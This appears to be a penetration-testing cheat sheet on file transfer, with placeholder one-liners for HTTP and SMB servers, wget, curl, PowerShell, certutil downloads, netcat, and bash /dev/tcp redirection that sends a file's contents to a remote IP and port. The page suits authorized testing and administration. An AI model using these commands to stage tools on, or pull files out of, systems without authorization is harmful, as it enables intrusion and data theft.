File Transfer

You can always check the integrity of the files by computing the md5 hash of the file to ensure it was transferred successfully:

# Linux
md5sum <file>

# Windows
certutil -hashfile <file> md5

HTTP/PHP

Python3

python3 -m http.server <port>

Python2

python2 -m SimpleHTTPServer <port>

PHP

php -S 0.0.0.0:<port>

Download

Wget

wget <url>

Curl

curl -s <url> -o <output>

PowerShell

(New-Object Net.WebClient).DownloadString('<url>') > <output>

Batch

certutil -urlcache -split -f <url> <output>

SMB

SMB Server

smbserver.py <share> $(pwd) -smb2support

Download

Linux

smbclient //<ip>/<share> -c "get <file> <output>"

Windows

copy \\<ip>\<share>\<file> <output>

Ncat

Send

nc -nlvp <port> < <file>

Recieve

nc -nlvp <port> > <output>

Bash

Send

cat <file> > /dev/tcp/<ip>/<port>

Recieve

cat < /dev/tcp/<target>/<port> > <output>

Last updated